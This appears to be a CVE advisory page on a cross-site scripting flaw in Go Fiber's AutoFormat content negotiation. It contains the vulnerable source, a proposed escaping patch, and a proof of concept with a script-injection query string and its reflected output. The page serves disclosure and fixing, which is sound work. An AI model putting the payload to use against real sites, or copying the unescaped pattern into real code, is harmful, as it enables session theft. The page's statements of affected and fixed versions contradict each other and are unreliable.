CVE-2026-42554: Fiber: XSS in AutoFormat Content Negotiation
Summary
Description
A Cross-Site Scripting (CWE-79) vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. This affects github.com/gofiber/fiber/v3 (DefaultRes.AutoFormat) through version 3.1.0 and github.com/gofiber/fiber/v2 (Ctx.Format) through version 2.52.12.
The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. Five of the six branches of the same method already escape. JSON, XML, MsgPack, and CBOR all route through encoders that neutralize markup; the txt branch emits text/plain and cannot execute. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply."
Details The issue resides in res.go within (DefaultRes).AutoFormat(). The method negotiates against the request Accept header, selects one of html | json | txt | xml | msgpack | cbor, and serializes the caller-supplied body accordingly.
The "html" branch concatenates the stringified body directly into HTML markup with no output encoding: - accept comes from r.c.Accepts(...), i.e. is fully attacker-controlled. An attacker can force the "html" branch on any AutoFormat() call regardless of which format the developer tested against. - b is produced from body via direct assignment (string / []byte) or fmt.Sprintf("%v", body). No html.EscapeString is applied. - The resulting string is sent as text/html; charset=utf-8, so browsers render it as active HTML.
go // res.go func (r DefaultRes) AutoFormat(body any) error {
accept := r.c.DefaultReq.Accepts("html", "json", "txt", "xml", "msgpack", "cbor")
r.Type(accept) var b string switch val := body.(type) { case string: b = val case []byte: b = r.c.app.toString(val) default: b = fmt.Sprintf("%v", val) }
switch accept { case "txt": return r.SendString(b) case "json": return r.JSON(body) case "xml": return r.XML(body) case "html": return r.SendString("<p>" + b + "</p>") case "msgpack": return r.MsgPack(body) case "cbor": return r.CBOR(body) } return r.SendString(b) } Impact
This impacts all current v3 releases ≤ 3.1.0 containing DefaultRes.AutoFormat, and all current v2 releases ≤ 2.52.12 where the identical "<p>" + b + "</p>" construction exists in (Ctx).Format(). Exploitation requires that an application call c.AutoFormat(v) where v (or a field stringified by %v) contains request-influenced data.
A handler that uses AutoFormat() to serve multiple representations of the same data can be turned into an HTML XSS sink when the client sends Accept: text/html, even if the developer only tested the JSON path.
This may result in: - Reflected XSS in the application's origin via any request-derived value reaching AutoFormat. - Stored XSS where the reflected value originates from persisted input later passed to AutoFormat.
Proposed Patch
The injection surface is r.Type("html") followed by r.SendString(b) with unescaped caller data, where it constructs markup on the caller's behalf around a value whose HTML-ness the caller did not declare. A few options: - AutoFormat() should treat body as data, not markup, in the "html" branch and escape it before concatenating it into the framework-generated <p> wrapper. Callers that need raw negotiated HTML should use Format() with an explicit HTML handler. - Introduce a sibling method that escapes, leave AutoFormat alone for backward compatibility.
HTML-escape the value in the "html" branch before concatenating it into the <p> wrapper. go import "html"
// ... case "html": return r.SendString("<p>" + html.EscapeString(b) + "</p>")
html.EscapeString escapes <, >, &, ', ", which is sufficient for an element-text context. Apply the same change to v2's (Ctx).Format().
Proof of Concept
bash Create project directory mkdir fiber-xss-poc && cd fiber-xss-poc
Initialize Go module go mod init fiber-xss-poc
Install Fiber v3 go get github.com/gofiber/fiber/v3
Create the PoC file cat > main.go << 'EOF' package main
import ( "github.com/gofiber/fiber/v3" )
type User struct { ID int json:"id" Name string json:"name" }
func main() { app := fiber.New() app.Get("/api/user", func(c fiber.Ctx) error { user := User{ ID: 1, Name: c.Query("name", "anonymous"), } return c.AutoFormat(user) })
app.Listen(":3000") } EOF
Run it go run main.go }
Benign JSON bash curl -s 'http://127.0.0.1:3000/api/user?name=Alice' -H 'Accept: application/json' {"id":1,"name":"Alice"}
HTML sink enables XSS bash curl -s 'http://127.0.0.1:3000/api/user?name=<script>alert(document.domain)</script>' -H 'Accept: text/html' <p>{1 <script>alert(document.domain)</script>}</p>
Other sources
Fiber is a web framework for Go. Prior to 2.52.12 and 3.1.0, Cross-Site Scripting vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply." This vulnerability is fixed in 2.52.12 and 3.1.0.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42554?
The severity of CVE-2026-42554 is considered high due to its ability to allow remote attackers to inject arbitrary HTML or JavaScript.
How do I fix CVE-2026-42554?
To fix CVE-2026-42554, upgrade to Go Fiber version 2.52.13 or 3.2.0, as these versions resolve the vulnerability.
What versions are affected by CVE-2026-42554?
CVE-2026-42554 affects Go Fiber versions up to and including 2.52.12 and 3.1.0.
What type of vulnerability is CVE-2026-42554?
CVE-2026-42554 is identified as a Cross-Site Scripting (XSS) vulnerability.
Who can be impacted by CVE-2026-42554?
Any user of Go Fiber who uses the AutoFormat() feature in their application could be impacted by CVE-2026-42554 if not patched.